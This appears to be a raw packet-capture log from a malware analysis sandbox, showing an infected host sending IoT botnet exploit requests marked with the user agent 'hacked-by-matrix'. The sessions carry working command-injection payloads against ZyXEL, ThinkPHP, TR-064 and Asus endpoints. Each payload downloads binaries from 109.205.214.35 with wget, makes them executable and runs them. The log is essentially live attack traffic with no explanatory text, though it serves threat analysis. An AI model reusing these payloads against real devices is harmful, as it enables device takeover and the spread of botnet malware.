Mar 21, 2024 05:17:53.582989931 CET	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Thu, 21 Mar 2024 04:17:53 GMT Date: Thu, 21 Mar 2024 04:17:53 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 64 32 39 39 31 64 34 26 23 34 36 3b 31 37 31 30 39 39 34 36 37 33 26 23 34 36 3b 31 35 61 30 34 66 62 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 64 32 39 39 31 64 34 26 23 34 36 3b 31 37 31 30 39 39 34 36 37 33 26 23 34 36 3b 31 35 61 30 34 66 62 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5d2991d4.1710994673.15a04fb7<P>https://errors.edgesuite.net/9.5d2991d4.1710994673.15a04fb7</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.23	35326	47.110.160.255	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:52.695050955 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:53.039679050 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:52 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:54.059293985 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:52 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:56.210180998 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:52 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.23	58570	213.209.148.156	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:52.938735962 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:59.288947105 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.23	57588	88.119.26.106	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:53.103420019 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:54.233633041 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.23	53678	47.156.229.77	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:53.197715998 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.23	48214	172.64.82.95	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:53.218990088 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.23	39362	38.181.195.7	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:53.321326017 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:57.497210979 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:03.640367031 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:15.670707941 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:41.270968914 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.23	33696	200.234.230.238	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:53.491079092 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.23	56238	181.177.133.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:53.510977030 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:54.202128887 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:54.873590946 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:56.217360973 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:59.034918070 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:59.255619049 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 21, 2024 05:17:59.255688906 CET	1286	IN	Data Raw: 64 33 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d38<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:17:59.255831003 CET	1286	IN	Data Raw: 31 29 20 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c Data Ascii: 1) == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUs
Mar 21, 2024 05:17:59.255846977 CET	860	IN	Data Raw: 0a 65 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f Data Ascii: else{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPor

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.23	58198	191.180.131.143	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:53.544573069 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.23	58208	191.180.131.143	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:53.773010969 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.23	52854	109.215.4.128	443

Timestamp	Bytes transferred	Direction	Data
